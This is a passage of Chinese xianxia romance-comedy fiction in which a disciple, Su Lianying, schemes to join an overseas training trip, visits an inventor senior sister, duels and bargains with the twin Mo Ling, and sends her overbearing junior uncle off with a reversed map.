花焚熠脸色瞬间变得阴沉:“你给我过来!”
苏潋影淡然一笑,无奈地摊开手:“我又做错什么了?”
花焚熠心中的怒火愈发旺盛,却又不知该如何发泄,只能紧紧地握住拳头:“你为何总是这般倔强,就不能顺从一次我的心意吗?”
呵呵,我又不是顺气丸,心肌梗塞你找大夫啊。
苏潋影眼神复杂地看着他:“那小师叔的意思是?”
“我的意思是,嫣雨峰上下都已将你视作自家人,你也不必如此见外。”
“那我真是受宠若惊。”
“苏潋影!你是故意要气死我吗?”
“不敢。”
油盐不进啊。
花焚熠深吸了一口气,觉得还是不能跟她太较真,不然迟早要驾鹤西去,直起身一掸袍袖,装作什么也没发生过,若无其事道:“既然你执意要回家过生日,那我也不拦你。不过,我有个条件。”
“小师叔吩咐吧。”
那么大的嫣雨君十分坦然道:“你必须带我一起去,而且必须按我的要求行事。”
“好……”苏潋影心如死灰。
花焚熠见她如此轻易就答应了,反而有些不知所措:“你就不问问我有什么要求?”
“小师叔的要求我敢违背吗?”
花焚熠被她的态度激怒,却又无可奈何,只能咬了咬牙:“算了,你先下去吧,我会让人把请帖送出去的。”
苏潋影转身离开,花焚熠看着她离去的背影,心中五味杂陈。接下来的日子里,花焚熠依旧对她十分严格,但也会偶尔关心一下她的生活。这天花焚熠正在书房看书,突然听到外面传来一阵吵闹声。
他放下手中的书,皱了皱眉头:“何事如此喧哗?”
话音刚落,平青就走了进来,向花焚熠行了一礼:“启禀师尊,潇湘峰的郁霄师兄等人来了,他们想见苏师妹。”
花焚熠神色有些不悦:“让他们等着。”转头看向苏潋影,“你跟我来。”
走出听雨斋心头气焰再也压不住,有心将苏潋影抵在廊柱上问个明白,憋半天才假装不在意地问出来一句:“你与那郁霄、江荀很熟?”
“普通朋友。”苏潋影有些奇怪地看着他,不明白对方何出此言。
“普通朋友?”他狐疑道,“那为何他们每次来,你都这般高兴?”
苏潋影指着自己的鼻尖,都快气哭了,我这一脸官司一脑袋乌云你是瞎了吗?
“我看起来很高兴吗?”
唐书戏从花园门口走了进来,老远就冲苏潋影招手:“苏苏,我们等了你好久了,你怎么才来?”
苏潋影瞄了身边的花焚熠一眼,对方转身拂袖便走,扔下一句话:“莫要玩得忘了时辰。”
苏潋影飞奔过去,跳起来拍了一下郁霄的肩膀:“你小子,这一去潇湘峰跟失踪了一样,终于舍得出门了!”
郁霄捏着折扇报之一笑:“实在是师尊安排的功课太多,无暇抽身,看来师妹近日修为又有精进,手劲倒是不小。”
唐书戏捅一下旁边的江荀,扯着嗓子道:“你不是有东西送她吗?还不拿出来等过年呢?”
江荀本来想单独交给苏潋影的,但被大老粗当场点破也不好藏着掖着了,从怀中摸出一本精装书册双手递向苏潋影,后者眼睛冒光也是双手接了过去,翻看了几页惊呼出声:“图画本的镜花缘,你从哪儿弄来的?”
江荀见她如此喜欢也跟着露出了一抹极淡的微笑:“前段日子下山处理一桩委托,在槐荫镇红线坊买的,以前见你闲暇时常看这类书籍,便想着你或许会喜欢。”
“喜欢,我可太喜欢了!多谢江师兄了,下次有好东西我也给你留意着!”
苏潋影看着众人:“不过说起来,这个镜花缘上记载的什么黑齿国、君子国、不死国真的存在吗?”[1]
唐书戏坐在一方青石上,目露戏谑:“我以为你杂学旁收什么都知道呢?若是这些地方不存在,我们又是去哪里历练呢?”
苏潋影心中满是疑窦,转而看向郁霄和江荀,这二人也是纷纷点头,这下真是扎到心了,她满脸幽怨地看向三人:“你们都要去海外历练啊?”
郁霄轻轻摇头:“我和大师兄、楚楚还有鹿鸣峰的穆师姐一组,被分到了九洲内,去海外的只有唐师兄他们一组。”
唐书戏偏偏哪壶不开提哪壶,问苏潋影道:“你去哪里历练啊,好像跟我们都不在一组吧?”
苏潋影干笑两声:“不知诸位愿不愿意带上我呢?”
江荀眼睛一亮,期待地看向苏潋影,用力点头:“你要去我们肯定乐意至极啊,但不知小师叔同不同意?”
苏潋影攥紧小拳头:“他不同意我就缠到他同意为止!对了,不是四人一组吗?我们组还有谁呢?”
就已经从善如流地把自己划归到他们一组了吗?
江荀不由轻笑:“还有大师姐和蘅泽峰的王天雨师兄,放心,他们也肯定欢迎你的加入。”
苏潋影点点头盘腿也坐在了水潭边的石板上:“好久没有看到大师姐了,他们师徒二人整天大门不出二门不迈的,又在研究什么呢?”
江荀:“好像是大师姐最近提交了一篇报告,要研究伸缩剑什么的,据说可以把三尺长剑压缩到袖刀那么大小,藏在袖子里一甩即可化作长剑,对敌之时可谓是出其不意攻其不备。”
苏潋影听得瞪大了眼睛,一拍屁股站了起来:“这我得去瞧瞧!一定要亲眼看到伸缩剑的诞生啊,在她陷入瓶颈时给她加油打气,将来我就能和伟大的大师姐一起标名史册了!”
到了摇情峰却听见银汉楼二层传出争论声,苏潋影顿住了脚步没有贸然上楼。
“我说了多少遍了,剑是百兵之祖,由不得你胡闹!这个研究到此中止了。”
“你这是食古不化啊,扼杀我的创造力嘛,这伸缩剑多好啊,将来必定引领修真界的革命啊,要不你再看看呢?”
“你还是好好研究给云舟提速吧,要不就出去围着摇情峰跑几圈,让脑袋凉快一下,成天想一出是一出。”
“我没有脑袋发热……你去哪儿啊?不带我吗?”
“不必,我去青云峰。”
楼上一扇门打开了,脚步声噔噔响起,苏潋影踮脚看了一眼,只见白衣飘飘、玉冠巍巍下来一仙风道骨的青年男子,两鬓龙须飘飘摇摇,两点星眸黑中透寒,正是梵净山第一宅男摇情君匡月。
苏潋影噌一下跳了出来:“见过七师叔!”
然后就见她七师叔变毛变色,之前略带闲愁的神色倾刻间荡然无存,仿佛见了鬼一般,步履生风从苏潋影眼前刮过去了。
苏潋影挠挠头:“话说,我的名声已经这么差了吗?摇情君居然这般不待见我。”
正胡思乱想之际二楼护栏上探出半截身子,一身靛青色箭袖袍,白净的俏丽面庞,头发随意用一根长簪绾起,高挺的鼻梁上夹着单片的琉璃镜,朝苏潋影使劲招招手。<
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“这不是苏苏嘛!快来快来,我给你看看我的新作!”
苏潋影提着裙摆一步跨两个台阶,很快就跑上了二楼,还在纳闷之前遇到匡月的事,看向一楼大门疑惑不解道:“摇情君怎么回事?我打招呼他也不理。”
盛祁星赔着笑,他会理你才有鬼了。
“那个,你是有所不知啊,我师尊他近视,许是没看见你,哎,叫他平时少熬夜看书就是不听,这下好了,三米之外男女不辨、五米以外人畜不分,出门还不戴眼镜,真是让人操碎了心啊!”
苏潋影还是觉得哪里怪怪的,举手提问:“可是,就算看不见也该听见了吧?”
盛祁星嘴角的笑容愈发苦涩,好孩子,别问了别问了,再问师姐可编不上来了……
只听轰隆一声,摇情峰不知哪个角落又发出了熟悉的爆破声。
盛祁星摊开了手:“你听,天天待在这种环境里耳朵难免有点不好使。”
“原来是这样啊,大师姐你要给我看什么来着?”
盛祁星见她终于不再追问了连忙将人带进了一间屋子里,外面看着跟正常的房间差不多,里面……这也就叫房间了,进去脚都没地方落,刀枪剑戟、斧钺钩叉躺了一地,稍不留神脚丫子都得穿个洞。
不愧是当大师姐的,那身法怎一个诡谲奇幻了得,三窜两纵到了最里面,回头朝还站在门口不知所措的苏潋影神秘一笑,掀开了蒙在一个庞然大物上面的黑布。
“当当当当——第七百四十一代远航船,我给它取名玉面小娇龙!”
好家伙,这船的族谱居然比我家的还厚!
“你站那么远看得清吗?”
“这,我也进不来啊……”
“来来来,听我指令,弯腰,低头,一个大跳,对对对,转身,哎,漂亮,小跳,小跳,金鸡独立!你看,这不轻轻松松嘛。”
苏潋影擦了一把额头的冷汗,好险好险,下次再也不来了,险些就给她切开晾着了。
苏潋影一边观察着这艘高约六尺长约十八尺的铁木玄甲船模型,心里啧啧称奇,其外表与一般航海船无异,但船身靠下的位置多了一圈圆形的小铁窗。
“师姐,这个是做什么的?”
盛祁星兴奋极了,眉飞色舞地按住了船头一个手柄:“你算是问到点子上了,只要一拉这个闸——”
咔哒,咔哒,模型船里传出令人头皮发麻的齿轮咬合声,吓得苏潋影连忙窜到了盛祁星身后,只见船身上所有的小铁窗都已经升了上去,黑洞洞的炮口对准了房间里各个方向。
盛祁星哈哈大笑,满意极了,扭头看着苏潋影:“你躲什么?躲哪里都是没有用滴,这就叫全方位无死角攻击,而且还能调整角度。”
说着又上上下下拉动了几个闸,只见那些炮口灵活地转动起来,仿佛猫头鹰的脑袋扫射着整个房间,最终全部对准了窗外。
盛祁星往上抬了抬自己的眼镜,神色紧绷起来:“东南角方向有只木鸟飞过来了,看我给你打下来。”
然后就听轰隆一声,一阵黑烟腾起,屋子里伸手不见五指,硫磺味熏得苏潋影眼泪汪汪,好不容易擦干流泪的双眼,就见对面的墙没了,摇情峰东南方向一座小山峰缺了个角正咕嘟嘟往上冒黑烟,至于我亲爱的师姐说的那只木鸟估计已经去见它太奶了。
“师姐啊,我是来申请加入你们的历练小组的,不知师姐可愿意收留我啊?”
苏潋影靠在盛祁星肩膀上,抱着她的手臂摇啊摇,给大师姐摇得五迷三道。
“好啊,如果小师叔同意,其他师弟不反对,你就来吧,我热烈欢迎。”
“大师姐万岁!那么我就先回去了!”
盛祁星点点头:“去吧去吧,正好我也要午休了。”
苏潋影刚想说那咱们一起出去吧,转头就见人家不知又转动了什么机关,一张铁床那是拔地而起……
“好一个大变活床,没想到这个作坊……原来是师姐你的闺房啊!”
苏潋影直呼有趣,转而看向那面消失的墙:“不过这么敞着师姐你能睡得着吗?要不还是换个屋吧。”
“瞧你说的,我的房间哪有那么容易被摧毁,不说固若金汤那也堪称铜墙铁壁啊。”
然后就见盛祁星踩下去了一块地砖,那面炸毁的墙上方,一排密密麻麻的铁栅栏从天而降……
现在的确是坚不可摧了,但这个纯狱风我是真的无力吐槽。
“师姐你好好休息,我先走了,忽然感觉有点喘不上气……”
66. 此夜阑珊
青云峰。
叶静秋听完后哈哈大笑:“你什么时候也这般墨守成规了,年轻人嘛,要折腾就放开手让她折腾去呗,咱们门派的资源又不短缺,实在不行我再让檀溪给你们拨一笔灵石。”
匡月连连摆手:“不是这个原因,”他轻叹一声,素来冷淡的面容多了一丝忧虑,“星儿她太过聪明了,总有人说她有莘梓夏、湛轻尘之风,我每听见这些言论就不免忧心忡忡,物极必反啊,我身为她的师父,免不了事事过问,时时留意,生怕她有行差踏错之处,怕她大好前途毁于我手,那我岂不是万死难辞其咎?”
叶静秋拍拍他的肩膀笑道:“你这就是杞人忧天了,星儿是我们看着长大的,她是一颗赤子之心啊,有别于莘、湛之辈,再者说了,法器再怎么改造不过也是个物件,真正的剑道自古只存于人心啊。”
所谓赤子之心说白了就是一根筋。
匡月深以为然,向着掌门一拱手:“师兄所言极是,摇情知道该怎么做了。”
回到摇情峰在银汉楼里没找到徒弟,知徒莫若师,信步来到长夜坪果然见一个身影坐在大片的蒲公英里,托着腮似乎是在看漫天星斗,听到轻微的脚步沙沙声一骨碌跳了起来。
“师尊!”
下一秒徒弟挂件已经挂到了胳膊上,匡月习以为常地点点头,只见盛祁星眉飞色舞地指着地上的蒲公英滔滔不绝道:“我跟你说,我刚才想到了一个绝妙的主意!海外有种流萤砂你知道吧?只要采集到足够的流萤砂洒在长夜坪上,这些蒲公英的绒球就会发亮,像漫天的星星一样,是不是很棒啊?”
匡月想象着那副场景,点点头:“这样长夜坪或许就该改名了。”
“英雄所见略同啊!”
“那个,伸缩剑,你想研究便去做吧,有何需要帮忙的尽管开口。”匡月垂下羽睫,伸手想摸摸徒弟的发顶,但又顿住了。
盛祁星差点跳起来,长夜坪黯淡无光,一丈之外就看不清东西,但她一双黑眸里却星光闪烁,灿若银河,激动地蹦蹦跳跳,没有一点门派大师姐的样子,在他身边长了十七年,依旧是当初模样。
“您真是我亲师尊,知道向着我,今年我一定要做出两件像样的东西来!门派首席我志在必得!”
说着说着她原本斗志昂扬的小脸又垮了下来,匡月忙问道:“可是遇到什么困难了?”
盛祁星眼巴巴看着他,面露难色:“那个云舟的事儿……我要搞伸缩剑恐怕无暇他顾。”
匡月莞尔一笑:“我当什么呢,交给为师就好,你专心去做你想做的。”
蔫掉的太阳花又恢复了勃勃生机,摩拳擦掌道:“那我回去画图纸了啊!我已经等不及了!”
“好,你慢点跑,当心又摔了。”
跑出几丈远的人又回来了。
“师尊师尊,仙剑大会之后差不多九月了吧?到时候我做一个会发光会唱歌的玄机寿糕给你,天上地下只此一个,到时候肯定让其他师伯师叔都羡慕哭了!”
匡月嘴角微微抽搐,却依旧眸光温潋地注视着眼前的少女,声音比吹过长夜坪的晚风还温柔。
“难得我家星儿一片孝心,只是这玄机寿糕是否太过坚硬了?为师恐怕是无福消受,不过摆在屋里珍藏起来还是可以的。”
盛祁星挠挠头:“哎呀,我没考虑到这个,本末倒置了……”
匡月终于忍不住笑出了声:“你做出的这种华而不实的小玩意儿为师可都收藏着呢,像什么会自动倒茶的小水壶,十次里头倒有一次能命中目标,那个会发夜光的书,看得为师眼睛都疼,还有——”
“别说了别说了!”
盛祁星罕见地双颊绯红:“你老提这些做什么啊,那都是失败的第一代产物,我还会改良的嘛,收藏它们做什么,不如拿去卖废品。”
“那可不行,为师倒觉得挺有趣的。”
盛祁星无奈扶额,以后可不敢再轻易招惹师尊了,万一把我的黑历史拿出去做个宣传,让我这脸往哪儿搁!
盛祁星似乎想起了什么十分重要的事,上前一步伸出了手,似乎想像从前一样去拉匡月的胳膊,但张开的手指又蜷缩了回去,仰起脸笑得真挚而温暖:“师尊,我们历练大概要一年左右,之后又赶上了仙剑大会,我要离开摇情峰好久,你别老闷在家里,多去跟二师伯下下棋,跟小师叔他们聊聊天,弟子们日常的训练和课业我都安排好了,他们忙得要死肯定没空去打扰你。”
“好。”
“我会用宫玉给你传音的,可惜出了九洲大陆就不行了,哼,总有一天我会把传音网架到海外去!“
匡月含笑看着她:“好,会有那么一天的,”
想了想又嘱咐道:“星儿,在外面要注意安全,凡事多留心,遇到棘手的人或事以退为进,千万不可再冒失了。”
“知道了。”
匡月点点头:“去吧,不要熬得太晚。”
盛祁星微微一笑转身离开了,很快隐没在了长夜坪无边的黑暗中,匡月却一直站在原地凝视着她离开的方向,回想起来一些不怎么愉快的久远经历,因为这些,他害怕与除了自己师兄弟以外的其他人交流,所以常年不出门,有什么事都是盛祁星帮忙去传达,摇情峰的弟子全由盛祁星指导,日常生活也都是盛祁星在打理,慢慢地却发现自己有点离不开这个徒弟了。
月光如水洒满了摇情峰,除了长夜坪一带,这块地方就仿佛匡月藏在心底的一处病魔,怎么都无法被月光照亮。
抬头却见西南角一颗星星闪烁了几下,原本明灿辉煌的光芒竟黯淡了几分。
他久不动用占星之术了,心想:恐怕又是普天之下哪位王侯将相、或是仙门中的少年俊杰近日会遭折损。
想到“少年俊杰”这四个字不知为何竟有些道心震颤、心血来潮,右眼皮也跟着跳了跳,联系到了某个人后迅速念了几遍清心诀将这个可怕的念头甩出脑海。
强行按捺住了自己想要推演天命的冲动。
不可,不可,死生有命富贵在天,贸然篡改别人的命薄只会让那人遭受更为残酷的反噬,有些代价是他承受不起的。
……
苏潋影回到嫣雨峰跟平青一打听,得知花焚熠此时还在烟暖阁书房,
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于是亲手泡了杯雪蕊,一路面带微笑走了进去,十分乖巧地喊了一声“小师叔”,人家不怎么搭理她,鼻子里溢出一声不冷不热的回应。
苏潋影有求于人的时候可以把脸皮扒下来掖兜里,这会儿把茶水搁在桌上,绕到花焚熠身后给人捏肩捶背,殷勤地仿佛地主家的小丫鬟。
“这个力道怎么样?小师叔你这页书看完了吗?要不要我帮你翻?这么坐着腰酸不酸?我帮你捶捶。”
花焚熠捏住她伸过来的手将人从自己身后拽了出来,早已洞悉一切:“无事献殷勤,说吧,又干了什么好事了?”
“瞧您说的,我哪有那么不务正业啊?”
说着一步步凑近,两只手抱着人家的胳膊,浑身没骨头似的靠了过来,脑袋靠在人家肩膀上,一声“小师叔”出口拐了十八个弯,她要是敢在符珂面前这么放肆,不,估计还没靠过来符珂已经闪出百里之外了,高低得甩出一沓镇宅符给整个太曦峰驱驱邪。
但嫣雨君显然没有要躲开的意思,从容淡定地端起了茶水抿了一口:“有事要我帮忙?”
“嗯嗯嗯!我小师叔真是料事如神!”
苏潋影连连眨眼,继续软磨硬泡:“就是那个历练啊,我能不能申请调换到别的组里去呀?”
花焚熠这会儿神色缓和,唇边甚至带着笑意:“原来如此啊……”
用尾音吊了某人一圈后,浇了对方一瓢凉水:“那我劝你死了这条心吧。”
苏潋影不干了,腾一下就站了起来,柳眉倒竖、杏眼圆睁,气不打一处来,这个老狐狸,还真是软硬不吃啊。
“凭什么啊!别人能去海外仙山周游列国,我就只能去赵家沟李家屯帮大爷大娘们割猪草收土豆子啊?我不管,我也要去海外仙山!”
花焚熠冷笑一声:“我看你是太闲了,要不咱们哪儿也不去了,乖乖待在山上修身养性吧,琴棋书画挑一样我教你,怎么样?”
苏潋影眼珠一转计上心头,故作不屑:“说的好像你教得很好一样,可别耽误我了……”
激将法什么的向来管用。
花焚熠有点坐不住了:“是吗?我虽称不上十八般武艺样样精通,但教你也足够了。”
苏潋影嘴角抽搐,冷眼撇过挂在书房里的字画:“就这?‘去他妈的’?”
“我说了多少遍了!这叫‘春池嫣韵’!”
“也就是本姑娘从不显山露水了,给我一个月,我画的都比你好!”
花焚熠到底年轻气盛,若换了符珂早就让她滚犊子了,一拍桌案站了起来,俯首盯着苏潋影:“好,我就给你一个月时间,也不用如何出神入化,能临摹出一幅青绿山水我就让你去海外历练。”
苏潋影一秒多云转晴,抬手想要跟他击掌:“一言为定哦!你可不许反悔!”
花焚熠直起身负手冷笑:“本君何时说话不算数了。”
轻轻拍了一下她伸出的小手。
呵,据我所知梵净山上就没几个画技出众的,你不就认识个林瑶吗?但不好意思人家正在养病呢,我看你怎么办,老老实实给我在山上待着吧。
67. 陌上菱歌
不多时,苏潋影垂头丧气从缥缈峰出来了,在宫玄烛口中得知,林瑶居然搬去蘅泽峰治病去了。
“啊!莫非是天要亡我?”
扬着脖子哀嚎一声,惊飞了满树飞鸟,迎来了一众练琴弟子的鄙夷目光。
“对不起对不起,打扰了……”
苏潋影灰溜溜地窜出了缥缈主峰,愁云惨淡地走在松间小径上,因为想着心事居然走岔了道,本想折返回去,但被眼前景色迷乱了双眼,一片红枫灿如晚霞,山风徐来,树叶相互摩挲发出的沙沙声如同一篇乐章,一片阴云自远处卷来,不一会儿居然飘起了牛毛细雨,有些料峭清寒。
满地红叶被雨水洗得愈发鲜亮,仿佛打了一层蜡,一半明亮一半黯淡,蓝色的蜻蜓无力地在雨中扇动透明的两对长翅,似乎还能听到它们的喘息声……
不对,是人的喘息声。
这里有人吗?
苏潋影踩着软绵绵、湿漉漉的红叶锦毯,沐着细雨往小枫林里面走去,拨开拦在眼前的树枝,偶尔会被树叶溅一头一脸的水。
但见树丛中间是一片凸起的空地,仿佛天然形成的一块露台,有人在三尺台上翩翩起舞,翩跹红衣被雨水淋湿尽数粘在身上,她背对着苏潋影,只能看到高挑纤细的背影,红衣下单薄突兀的蝴蝶骨随着她塌腰振臂的动作,似乎要带着她飘然飞起,她仿佛真的是可以轻盈地飞起来的,倏忽间从台上的一侧惊鸿一跃落到另一侧,看不清那双玲珑玉足是怎样闪转腾挪,苏潋影眼里只有她舞动起来如剑亦如蛇的两条红袖。
她不知这美人是受了怎样的委屈,轻轻侧过的脸上雨痕明灭,低垂着的眉眼看起来让人的心紧紧揪起,红唇慢启,歌声如怨如慕。
等那人一曲舞毕转过身来,苏潋影惊得合不拢嘴。
林瑶!
不对不对,林瑶不是这种眼神,小白花的眼睛里满满的都是爱与希望,这位嘛,只有恨与绝望。
“你是陌菱?”
曾听林瑶说起过,她有个双胞胎的妹妹,天生孤僻不怎么与人交流,来到梵净山也从未有人见过她,没想到今天居然遇上了。
陌菱站在朦胧雨幕中,双手交叠在腹部,垂着眼睫斜睨着台下的苏潋影,看她身上服饰知道是梵净山的弟子,眉眼流转间闪过一丝厌恶,冷哼一声不答话,转身就朝另一个方向走去。
换了别人自讨没趣后也就离开了,但苏潋影却连忙追了上去,嘴里还不停喊着:“陌菱师姐!师姐,你等等啊!我有事求你帮忙!”
陌菱血红的裙角拖卷着地上一层湿漉漉的枫叶,不徐不疾往前走着,苏潋影很快就追上了她,跑到了她前面,转过身背着手倒退着走,笑嘻嘻看着她:“果然是跟林瑶师姐一模一样呢。”
听了这话,陌菱停下了脚步,眯了眯眼,咬着银牙皮笑肉不笑,伸手扶一下自己别在鬓边的玳瑁长簪:“上次说我长得像林瑶的人,舌头被我割下来了……”
一股凉意顺着苏潋影脊柱骨往上窜,连忙顺毛捋:“那,说你长得不像她的呢?”
陌菱已经拔下了簪子,如瀑青丝霎时披散开来,衬得一张脸愈发白皙精致,玉手执起发簪,用簪尖挑起了苏潋影的下巴,一边眉毛高高扬起,含笑凝视着她:“至于说我不像她的,你还是破天荒的头一个,自己选个死法,啊?”
苏潋影干笑一阵轻轻用手去拂那支凶器:“陌菱师姐你好调皮啊,不要开这种玩笑了……”
簪子毫不客气朝她喉间刺来,苏潋影向后扬脖的瞬间陌菱旋裙如花一个扫堂腿攻她下路,苏潋影余光瞥间大事不妙,没有落地而是甩出鞭子勾住了陌菱侧后方的一棵树的树枝,借着荡过去的势头趁机给了陌菱一脚,陌菱侧翻身躲开收招定式,电光化石间两人交换体位,一上一下、虎视眈眈盯着对方。
苏潋影冷笑:“不愧是号称喋血观音的陌菱小姐啊,刚见面就动手,话都不听人说完吗?”
陌菱亦是冷笑,一缕发丝被风拂着横过脸颊,愈发像一尊杀红了眼的玉面观音。
“五毒傀萝、千不弃,不知镜霜城的小圣女潜入人界意欲何为?”
鞭子如同一条毒蛇般窜进了苏潋影的袖子里,她本人轻飘飘落在陌菱面前,被戳穿身份也不气恼,一手摸着下巴含笑审视着陌菱:“当然是为了陌菱小姐而来,百闻不如一见,我殿中还缺个主君,不知陌菱小姐意下如何?”
陌菱冷笑一声,微微俯身凝视着她:“你若是个男人,说出第一句时我就已经弄死你了,有事说事,再要是油腔滑调戏弄于我,我可不管你是谁的妹妹。”
苏潋影笑意不减,手掌抬起时,手心里已经躺了一面鎏金雕花的小镜子:“听闻你一直在找这面镜子,很不巧,神魔大战之际落到魔界去了。”
陌菱罕见地神色冷肃起来,眼角余光触及那面镜子以及刻在镜子上的五个小字,轻轻挽起鬓边一缕发丝:“说吧,你的条件。”
苏潋影微笑:“久闻陌菱小姐妙笔丹青,我这镜子就赠与佳人了,借我支画笔就行。”
陌菱冷笑:“何必把话说得这么好听,你是根本就解不开这镜子的封印吧。”
苏潋影但笑不语,将镜子交给了陌菱,而陌菱收起镜子后将手里的玳瑁簪递给了苏潋影。
苏潋影拿着那支发簪左瞧瞧右看看,大惊小怪道:“山河社稷笔,不愧是曾经深得君心的皇姨啊,皇帝居然把这种镇国之宝都拿给你玩,怪不得琅嬛国运要日薄西山啊。”
陌菱没说话,缓步朝来时路走去,让过苏潋影半步后忽然驻足,侧首在她耳边轻轻道:“傀萝,你说千姽婳究竟是拿你当妹妹,还是当一具傀儡呢?”
苏潋影脸上原本嘲弄对方的表情如同被撕破的画纸,一刹那的僵硬过后,嘴角勾起一个刀刻般的诡异笑容,慢踱几步,目不斜视,声音却清晰地传入了对方耳朵里。
“活在双胞胎姐姐光环下的你,看来很是享受这盛名啊——林瑶的妹妹。”
陌菱的秀拳捏得咯咯作响,连一直挂在嘴角的假笑都消失了,手中出现了一只魂灯,顷刻间又化作了一把通体乌黑的窄刃长剑。
……
凉风习习,落花成阵,苏潋影坐在桃花树下的秋千上手里捧着一本书,有一搭没一搭地翻着,忽然感觉身后似乎站了个人。
一回头果然对上了一双冷峻的眉眼,不知什么时候到了,也不知和她一起看了多久的……花自飘零水自流……苏潋影尴尬地将手里的书合起来压在了大腿下面。
花焚熠看着她一系列动作似笑非笑,直起了腰双手拢袖:“又在这儿偷懒,我会经常检查你作画的进展的。”
苏潋影伸手遮住嘴巴打了个哈欠:“知道了知道了,皇帝都不急……小师叔你急什么呀?”
她眉眼带笑手臂搭着秋千架的靠背,下巴搁在一双玉臂上歪头注视着长身玉立在翩跹桃花下的人,恰如一幅传世画卷,看久了竟让人生出一股莫名的心酸来。
二十九天过去,苏潋影还是停留在拆毛笔的阶段,花焚熠天真地以为自己高枕无忧了。
语气得意中带上了几许同情:“明天就是最后期限了,你临摹得怎么样了?”
“这么快啊,我,我还是不会。”
花焚熠心道:这丫头,果然还是太调皮,看来得好好教训教训她。
“既然你学不会,那你就去厨房帮厨吧,好好体验一下生活的艰辛。”
“那我画一下试试呢?”苏潋影轻轻一挑眉,掩藏笑意。
花焚熠带着些许好奇与怀疑,走到她身边观看:“你这是又想出什么鬼点子了?”
只见苏潋影铺开一幅长长的宣纸,调颜料,打线稿,一层层晕染上色,最后细致的勾线,一天之内完成了一张青绿山水。
花焚熠眼睛直勾勾地盯着她的画,嘴巴微张,似乎忘记了呼吸:“这是你画的?”
“这不是小师叔亲眼看着我画的吗?还能有假?”
花焚熠竟有些折服,微微噙笑:“原来影儿这么厉害,我之前真是小瞧你了。”
苏潋影拍拍他的肩膀,露出胜利的笑容:“那么本姑娘就去准备明天游历的东西了。”
花焚熠心里一紧,连忙叫住她:“等等,你真的要去海外游历?”
“假的,你信吗?”
花焚熠内心起急,却不知该如何挽回局面,干吼一声:“不行!我不准!”
喊完后面颊作烧,急忙去窥苏潋影的神色,她似乎没有察觉异常,反而是气急败坏,一刹那,心里百感交集,既有庆幸,又有些许失落。
苏潋影得理不饶人,差点一蹦三尺高:“堂堂嫣雨君,答应别人的事还想反悔不成?”
“当然不是。”花焚熠心虚地低咳几声,“不过,你一个女孩子怎么能去那么偏僻危险的地方游历,我不太放心。”
“那你就派重兵保护我呀!”
花焚熠失笑,抬手轻敲她额头:“重兵保护?亏你真想得出来。你这是去游历还是去打仗啊?”
“反正我是去定了!”<
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p>“既然你这么想去,那我也不拦你了。不过,你得答应我一个条件。”
花焚熠心里拿定了主意,先稳住她再说,想走没门。
苏潋影察觉不妙,连忙打断:“当初你可没说要加什么条件,现在也不能加!”
花焚熠却自顾自说了下去:“我的条件很简单,你想出去可以,必须与我同行。”
“好吧好吧。”苏潋影假装答应,“不过我也有条件。”
见小狐狸答应得这么爽快,花焚熠倒真有些忐忑,却唇边笑意不减:“你说,什么条件?”
“小师叔知道女儿国怎么走嘛?”
花焚熠不知她又在打什么鬼主意,反问道:“你问这个干什么?”
苏潋影嘿嘿一笑,那副得意洋洋的样子,看起来更像只狐狸了:“不知道是吧?不知道就得听我的。”
花焚熠当峰主这么多年就没遇到这种情况,什么时候当弟子的敢反过来跟小师叔讲条件了!真是反了!
心里这么想着,嘴上却完全不是这么回事。
“好,我答应你,那你说吧,你有什么条件?”
苏潋影故作正经,背着小手在屋子里来回踱步:“咳咳,我看书的时候了解到,女儿国前面有一片海域,里面都是巨鳄,普通人很难过去。”
花焚熠的目光随着她的脚步移动,嘴角笑意渐浓,或许连自己都没觉察到,仅仅是这样看着一个人,心里竟也充满了无法言说的欢愉。
“然后呢?你不会是想让我帮你清剿妖物吧?”
苏潋影一回身满脸雀跃,卯足了劲儿给对方架得高高的:“我小师叔这么聪明,堂堂梵净山十二把手,史上最年轻的峰主,学富五车才高八斗,肯定能想到偷渡过去的办法啊!”
花焚熠连忙摆手制止:“以后这句十二把手什么的就不必再加上去了……话说,你在外面就是这么宣传我的?”
不,在外面往往是说,我那傻冒小师叔……
“这都不重要!小师叔你快帮我想想办法。”
花焚熠见她着急的样子,有心逗她:“这有何难,我们可以造一艘大船,这样不就可以过去了吗?”
苏潋影翻了个白眼:“大船不够它们吃一顿的,到时候船是餐车我是菜呗。”
花焚熠:“我们可以造一艘更大的船,或者在船上安装一些武器,这样就可以抵御巨鳄的攻击了。”
苏潋影敷衍地鼓鼓掌:“哇哦,英雄所见略同,我给小师叔画一张地图,小师叔先带人过去清剿鳄鱼吧!”
花焚熠冷笑一声:“你这丫头,居然还敢命令我了!”
苏潋影踮起脚,将身子拔得高高的:“去女儿国道路上危险重重,小师叔连这个都做不到,我带你干什么?”
花焚熠最受不得别人激他,当时气急败坏:“好,我答应你,我先带人过去清剿鳄鱼,你再跟我一起去女儿国。”
“那就祝小师叔马到成功了。”
“死丫头,还学会激将法了,你就等着吧,我一定会让你知道我的厉害!”
说完,花焚熠便拂袖而去。
江荀听到花焚熠离开了,这才从藏身的花丛后走出来进了书斋,一脸担忧地看着她:“苏苏,你没事吧?”
“嘘,放心吧。”苏潋影胸有成竹地看向花焚熠离开的方向。
江荀忍不住笑道:“苏苏你真是太厉害了,居然敢跟花焚熠叫板!”
苏潋影果然洋洋洒洒画了一幅可笑的地图,说是地图不如说是抽象画,花焚熠第二天就带人走了。
管事儿的人一走,苏潋影和盛祁星等人便开始准备去女儿国的事情。
江荀站在船上,有些疑惑地看向始作俑者,见她还是一副不知天高地厚的模样,忍不住问道:“苏苏,你真的相信小师叔会按照你的地图去清剿鳄鱼吗?”
“哈哈哈,放心吧,我给他画的是相反的路线,哪有什么鳄鱼,就是一片雾气腾腾的峡谷,进去够他转悠好几天的。”
盛祁星忍不住扶额:“你真是太胆大妄为了,小师叔要是知道你这么整他,肯定会气死的!”
江荀却不以为然,反而向苏潋影投去赞许的目光:“苏苏你真是太聪明了,这样我们就可以趁机逃走了。”
苏潋影才不管花焚熠会不会气死,她仿佛已经看到光怪陆离的海外秘境在朝自己招手了,撩了一下刘海儿一脚踩在船头意气风发道:“好了各位,别纠结早已发生的事了,毫无意义啊,让我们向着广袤的新天地扬帆启航吧!”
68. 五人成行
苏潋影刚离开没多久,花焚熠就带着人回梵净山了。
众弟子见了火冒三丈的嫣雨君着实吓得不轻。
“来人!去把苏潋影给我带回来!”
一声令下如山倒,嫣雨弟子倾巢出动。
